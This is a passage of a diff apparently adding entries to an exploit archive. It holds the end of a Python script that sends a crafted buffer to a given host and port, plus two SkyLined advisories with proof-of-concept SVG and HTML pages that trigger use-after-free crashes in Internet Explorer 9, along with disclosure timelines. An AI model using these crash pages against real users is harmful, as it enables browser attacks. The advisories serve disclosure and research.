print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 5678\n'
|
||||
sys.exit(0)
|
||||
|
||||
host = sys.argv[1]
|
||||
port = int(sys.argv[2])
|
||||
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
connect = s.connect((host, port))
|
||||
s.settimeout(17)
|
||||
s.send(hello+buffer+bye)
|
||||
s.close
|
84
platforms/windows/dos/40933.svg
Executable file
84
platforms/windows/dos/40933.svg
Executable file
|
@ -0,0 +1,84 @@
|
|||
<!--
|
||||
Source: http://blog.skylined.nl/20161215001.html
|
||||
|
||||
Synopsis
|
||||
|
||||
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. The use appears to happen only once almost immediately after the free, which makes practical exploitation unlikely.
|
||||
|
||||
Known affected software and attack vectors
|
||||
|
||||
Microsoft Internet Explorer 9
|
||||
|
||||
An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
|
||||
|
||||
Details
|
||||
|
||||
It appears there is an implementation bug in the splitText method of CDATASection (Text) objects in SVG. splitText should split a Text node into two Text nodes, by creating a new Text node and moving some of the text data from the original node to the new node. After this, each node contains a sub-string of the original text.
|
||||
|
||||
The bug can be triggered by calling this method with zero as the index argument on a CDATASection which contains some text. In this case, the code will return a new Text node that contains the entire text but it does not remove the text from the original node. I am speculating that this causes an additional reference to the test data without increasing its reference counter. This failure to increase the reference counter can cause this reference counter to drop to zero before all references are destroyed. I believe this is the case because the below repro triggers a use-after-free.
|
||||
|
||||
<svg xmlns='http://www.w3.org/2000/svg'>
|
||||
<script type="text/javascript">
|
||||
var oCDATASection = document.createCDATASection("Aa");
|
||||
oTextNode1 = oCDATASection.splitText(0);
|
||||
alert("Expected ''+'Aa', got '" + oCDATASection.wholeText + "'+'" + oTextNode1.wholeText + "'");
|
||||
oCDATASection.appendData("Bb");
|
||||
alert("Expected 'Bb'+'Aa', got '" + oCDATASection.wholeText + "'+'" + oTextNode1.wholeText + "'");
|
||||
oTextNode3 = oCDATASection.splitText(0);
|
||||
// Uncommenting the following line prevents the crash - not sure why.
|
||||
// alert("Expected ''+'Bb'+'Aa', got '" + oCDATASection.wholeText + "'+'" + oTextNode3.wholeText + "'+'" + oTextNode1.wholeText + "'");
|
||||
oTextNode3.replaceWholeText("Cc");
|
||||
</script>
|
||||
</svg>
|
||||
|
||||
I've created another, more complex repro as well:
|
||||
|
||||
Repro.svg:
|
||||
-->
|
||||
|
||||
<svg xmlns='http://www.w3.org/2000/svg'>
|
||||
<script type="text/javascript">
|
||||
function B(bValue) { return bValue ? "T" : "F" };
|
||||
var oElement = document.createElement("x");
|
||||
var oCDATASection = document.createCDATASection("AB");
|
||||
oElement.appendChild(oCDATASection);
|
||||
// splitText should split a Text node into two text Nodes, each containing a substring of the data of the original Text node.
|
||||
// However, MSIE does not implement this correctly, causing both Text nodes to refer to the same data.
|
||||
oTextNode1 = oCDATASection.splitText(0);
|
||||
alert("[AB**|AB**AB=AB]\r\n[" +
|
||||
oElement.textContent + "**" +
|
||||
oCDATASection.nodeValue + "|" + oTextNode1.nodeValue + "**" +
|
||||
oCDATASection.wholeText + "=" + oTextNode1.wholeText + "]");
|
||||
oCDATASection.appendData("CD");
|
||||
alert("[CDAB**CD|AB**CDAB=CDAB]TT\r\n[" +
|
||||
oElement.textContent + "**" +
|
||||
oCDATASection.nodeValue + "|" + oTextNode1.nodeValue + "**" +
|
||||
oCDATASection.wholeText + "=" + oTextNode1.wholeText + "]" +
|
||||
B(oCDATASection.parentNode === oElement) + B(oTextNode1.parentNode === oElement)
|
||||
);
|
||||
var oTextNode2 = oCDATASection.splitText(0);
|
||||
alert("[CDAB**|CD|AB**CDAB=CDAB=CDAB]TTT\r\n[" +
|
||||
oElement.textContent + "**" +
|
||||
oCDATASection.nodeValue + "|" + oTextNode2.nodeValue + "|" + oTextNode1.nodeValue + "**" +
|
||||
oCDATASection.wholeText + "=" + oTextNode2.wholeText + "=" + oTextNode1.wholeText + "]" +
|
||||
B(oCDATASection.parentNode === oElement) + B(oTextNode2.parentNode === oElement) + B(oTextNode1.parentNode === oElement)
|
||||
);
|
||||
var oTextNode3 = oCDATASection.replaceWholeText("EF");
|
||||
alert("[EF**EF||**EF=EF=EF]TFF\r\n[" +
|
||||
oElement.textContent + "**" +
|
||||
oCDATASection.nodeValue + "|" + oTextNode2.nodeValue + "|" + oTextNode1.nodeValue + "**" +
|
||||
oCDATASection.wholeText + "=" + oTextNode2.wholeText + "=" + oTextNode1.wholeText + "]" +
|
||||
oCDATASection.parentNode + "/" + oTextNode2.parentNode + "/" + oTextNode1.parentNode
|
||||
);
|
||||
</script>
|
||||
</svg>
|
||||
|
||||
<!--
|
||||
Time-line
|
||||
|
||||
Unknown date: This vulnerability was found through fuzzing.
|
||||
12 December 2012: This vulnerability was submitted to EIP.
|
||||
21 January 2013: This vulnerability was rejected by EIP.
|
||||
Unknown date: This vulnerability was address by Microsoft.
|
||||
15 December 2016: Details of this vulnerability are released.
|
||||
-->
|
51
platforms/windows/dos/40935.html
Executable file
51
platforms/windows/dos/40935.html
Executable file
|
@ -0,0 +1,51 @@
|
|||
<!--
|
||||
Source: http://blog.skylined.nl/20161216001.html
|
||||
|
||||
Synopsis
|
||||
|
||||
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.
|
||||
|
||||
Known affected software and attack vectors
|
||||
|
||||
Microsoft Internet Explorer 9
|
||||
|
||||
An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
|
||||
|
||||
Details
|
||||
|
||||
This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. ZDI revealed that this was a use-after-free vulnerability in their advisory. I have included a number of reports created using a predecessor of BugId below.
|
||||
|
||||
Repro.html:
|
||||
-->
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<script defer>
|
||||
var oElement = document.getElementById("ruby");
|
||||
var oElement = oElement.parentNode.removeChild(oElement);
|
||||
document.write("<abbr></abbr>");
|
||||
document.documentElement.offsetTop;
|
||||
setTimeout("location.reload()", 100);
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<abbr dir="ltr">
|
||||
<ruby id="ruby" dir="rtl">
|
||||
</ruby>
|
||||
</abbr>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
<!--
|
||||
Time-line
|
||||
|
||||
Sometime in October 2012: This vulnerability was found through fuzzing.
|
||||
29 October 2012: This vulnerability was submitted to EIP.
|
||||
27 November 2013: This vulnerability was rejected by EIP.
|
||||
14 January 2013: This vulnerability was submitted to ZDI.
|
||||
6 February 2013: This vulnerability was acquired by ZDI.
|
||||
13 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
|
||||
29 May 2013: This vulnerability was address by Microsoft in MS13-021.
|
||||
16 December 2016: Details of this vulnerability are released.
|
||||
-->
|
Loading…
Add table
Reference in a new issue